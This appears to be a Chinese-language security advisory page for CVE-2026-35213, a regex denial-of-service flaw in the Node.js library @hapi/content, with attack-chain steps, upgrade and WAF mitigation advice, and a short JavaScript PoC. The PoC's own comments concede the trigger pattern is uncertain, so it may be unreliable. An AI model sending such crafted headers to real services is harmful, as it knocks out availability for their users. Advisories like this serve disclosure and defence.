IPBUF安全漏洞报告
English
CVE-2026-35213 CVSS 7.5 高危

CVE-2026-35213 @hapi/content ReDoS漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35213
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
@hapi/content

相关标签

ReDoS拒绝服务@hapi/contentNode.js正则表达式

漏洞概述

@hapi/content是一个用于解析HTTP Content-*头部的Node.js库。该库在6.0.0及之前的版本中存在正则表达式拒绝服务漏洞。攻击者可以通过发送特制的Content-Type或Content-Disposition头部值,触发解析器中正则表达式的灾难性回溯。这会导致消耗大量CPU资源,从而使服务变得无响应或崩溃。该漏洞影响服务的可用性,目前已在6.0.1版本中修复。

技术细节

该漏洞属于正则表达式拒绝服务攻击。@hapi/content库中使用了三个正则表达式来解析Content-Type和Content-Disposition头部。这些正则表达式中包含了可能导致灾难性回溯的模式。当攻击者发送包含特定字符组合的恶意头部值时,正则表达式引擎会尝试匹配所有可能的路径组合,导致指数级的计算时间增长。由于解析HTTP头部通常发生在请求处理的早期阶段,攻击者无需身份认证即可通过网络发送恶意请求。这种攻击会耗尽服务器CPU资源,导致Node.js事件循环阻塞,进而导致整个Web应用无法响应其他正常请求,造成拒绝服务。CVSS 3.1评分为7.5,属于高危漏洞。

攻击链分析

STEP 1
侦察
攻击者识别目标应用是否使用了@hapi/content库且版本低于6.0.1。
STEP 2
漏洞利用
攻击者向目标服务器发送精心构造的HTTP请求,其中包含能够触发正则表达式灾难性回溯的Content-Type或Content-Disposition头部字段。
STEP 3
影响达成
服务器在解析恶意头部时CPU占用率飙升至100%,导致单线程事件循环阻塞,无法处理其他合法请求,最终引发拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const Content = require('@hapi/content'); // Simulate a malicious header value designed to trigger catastrophic backtracking // ReDoS payloads often involve nested quotes or complex repetitive patterns. const maliciousPayload = 'form-data; name="field"; filename="' + 'a'.repeat(100) + '"'; // Example 1: Testing Content-Disposition parsing (vulnerable function) // Note: The exact regex pattern depends on the version, but this demonstrates the trigger. console.log('Testing payload...'); try { const start = Date.now(); // This call may hang or take a very long time in versions <= 6.0.0 const parsed = Content.disposition(maliciousPayload); const end = Date.now(); console.log('Parsed result:', parsed); console.log('Time taken:', end - start, 'ms'); } catch (e) { console.error('Error during parsing:', e); }

影响范围

@hapi/content <= 6.0.0

防御指南

临时缓解措施
建议立即升级@hapi/content库至安全版本6.0.1。若暂时无法升级,应在网络边界部署WAF或配置网关规则,对异常长度的HTTP头部或包含特殊字符组合的头部进行过滤,并设置合理的请求超时时间,以防止资源耗尽。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表